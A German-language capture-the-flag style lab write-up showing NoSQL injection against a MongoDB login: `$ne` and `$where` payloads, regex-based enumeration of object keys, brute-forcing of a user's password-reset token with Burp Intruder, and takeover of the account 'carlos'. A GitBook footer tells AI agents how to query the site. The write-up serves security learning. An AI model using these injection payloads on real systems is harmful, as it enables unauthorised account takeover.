> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/nosql-injection/extraction-of-unknown-fields-with-nosql-operators.md).

# Extraktion unbekannter Felder mit NoSQL-Operatoren

### Ausnutzen der NoSQL-Operator-Injektion zum Extrahieren unbekannter Felder

Die Benutzersuchfunktion dieses Labs basiert auf einer MongoDB-NoSQL-Datenbank. Sie ist anfällig für eine NoSQL-Injection. / Das Ziel ist es, sich als **carlos**.

<figure><img src="/files/0ec56c4a0beaf7cdf9d6e77334046f9c532c4850" alt=""><figcaption></figcaption></figure>

#### Anfänglicher Kontext

Es gibt eine Funktion **Passwort vergessen**.

Die per POST gesendete Abfrage an `/forgot-password` sieht so aus:

```bash
csrf=55UFZpEwaPzlRg9d0CRKOf8OZ4GSm2jj&username=test
```

### NoSQL-Injection-Test beim Login

Beim Versuch, NoSQL in das Login-Formular zu injizieren:

```json
{
  "username": "carlos",
  "password": { "$ne": "x" }
}
```

Der Account ist gesperrt und die folgende Meldung erscheint:

> Account gesperrt: Bitte setzen Sie Ihr Passwort zurück

<figure><img src="/files/58dd9f576a0c270a6a7a37e7505e7ef0169259d1" alt=""><figcaption></figcaption></figure>

#### Blockierung mit `$where`

Es ist zu beobachten, dass das Hinzufügen des `$where` Feldes vom Server interpretiert wird:

* Wenn `$where` ist `1` → Account bleibt gesperrt
* Wenn `$where` lohnt sich `0` → Blockierung verschwindet

Beispiel:

```json
{
  "username": "carlos",
  "password": {
    "$ne": "x"
  },
  "$where": "0"
}
```

Dies bestätigt, dass `$where` der Operator ausführbar ist.

<figure><img src="/files/1bc6dc71483871656166954e1ec4deda12852bb0" alt=""><figcaption></figcaption></figure>

#### Einschränkung und Strategiewechsel

Die ursprüngliche Idee wäre, zu verwenden `$where` um das Passwort direkt zu prüfen, zum Beispiel:

```json
{
  "username": "carlos",
  "password": {
    "$ne": "x"
  },
  "$where": "this.password...."
}
```

Da der Account jedoch gesperrt ist, ist dieser Ansatz nicht nutzbar. / Daher müssen Sie daher über einen **Passwort-Reset**.

#### Felder des Benutzerobjekts auflisten

`$where` wird verwendet, um die Schlüssel des Benutzerobjekts mit Folgendem aufzulisten:

```javascript
Object.keys(this)[0].match('^.{X}Y.*')
```

Gesamte Anfrage:

```json
{
  "username": "carlos",
  "password": {
    "$ne": "x"
  },
  "$where": "Object.keys(this)[0].match('^.{X}Y.*')"
}
```

<figure><img src="/files/6401b5f9a3d0eda133fcc5bd923ecd510cbf9ba8" alt=""><figcaption></figcaption></figure>

* `X`: Zeichenposition (0-20)

<figure><img src="/files/41356fa8e997cf1a8e462c899a9d7668b57f0795" alt=""><figcaption></figcaption></figure>

* `Y`: getestete Zeichen (`a-z`, `A-Z`, `0-9`)

<figure><img src="/files/13021f06441719b7481f6513e645c285d636a7ba" alt=""><figcaption></figcaption></figure>

Angriff gesendet via **Intruder** durch **Cluster Bomb**

#### Ergebnisse der Feld-Enumeration

Basierend auf der Länge der Antwort (**Content-Length**):

* `Object.keys(this)[0]` → `id`

<figure><img src="/files/b3cacf83fee114f59a5ae06e51b1773314f65da8" alt=""><figcaption></figcaption></figure>

```javascript
"$where": "Object.keys(this)[1].match('^.{X}Y.*')"
```

* `Object.keys(this)[1]` → `Benutzernamen`

<figure><img src="/files/2d92c180b6f4ab36f5b05ce2b7fd99e3055351e4" alt=""><figcaption></figcaption></figure>

* `Object.keys(this)[2]` → `Passwort`

```javascript
"$where": "Object.keys(this)[2].match('^.{X}Y.*')"
```

<figure><img src="/files/56b22a1496d86cae13c13da3d3c36c5c8eee8854" alt=""><figcaption></figcaption></figure>

* `Object.keys(this)[3]` → `E-Mail`
* `Object.keys(this)[4]` → `passwordReset`

" Das `passwordReset` Feld erscheint nur, wenn ein Passwort-Reset für ausgelöst wurde **carlos**.

```javascript
"$where": "Object.keys(this)[4].match('^.{X}Y.*')"
```

#### Bestätigung des `passwordReset` Feldes

<figure><img src="/files/122b44d50d88d0e19682556b68346e4ba9b1a28d" alt=""><figcaption></figcaption></figure>

Zugriff auf den Endpunkt:

```bash
/forgot-password?passwordReset=
```

Antwort:

> Ungültiges Token

Das Feld existiert

<figure><img src="/files/3cdfc6c682db34b7c7f57a4456aa1b651b02b20c" alt=""><figcaption></figcaption></figure>

#### Token-Liste `passwordReset`

Der Wert des Tokens wird dann extrahiert:

```javascript
"$where": "this.passwordReset.match('^.{X}Y.*')"
```

```javascript
{
  "username": "carlos",
  "password": {
    "$ne": "x"
  },
  "$where": "this.passwordReset.match('^.{X}Y.*')"
}
```

* `X`: Zeichenposition
* `Y`: mögliche Zeichen

<figure><img src="/files/fa7710b375b5d6445da7e7e5c0fb64b014ead5d2" alt=""><figcaption></figcaption></figure>

* Senden über **Intruder** (Cluster Bomb)

#### Ergebnis

Das **carlos** Reset-Token wird erlangt:

```bash
5d252f7e28f468ee
```

<figure><img src="/files/fa7710b375b5d6445da7e7e5c0fb64b014ead5d2" alt=""><figcaption></figcaption></figure>

#### Abschließende Ausnutzung

Mit diesem Token können Sie auf die Passwort-Reset-Funktion zugreifen und ein neues Passwort festlegen für **carlos**, wodurch Sie sich bei Ihrem Account anmelden und das Lab validieren können.

<figure><img src="/files/ae2558c1679ebe3a996dc02865886a97c15220bc" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/nosql-injection/extraction-of-unknown-fields-with-nosql-operators.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
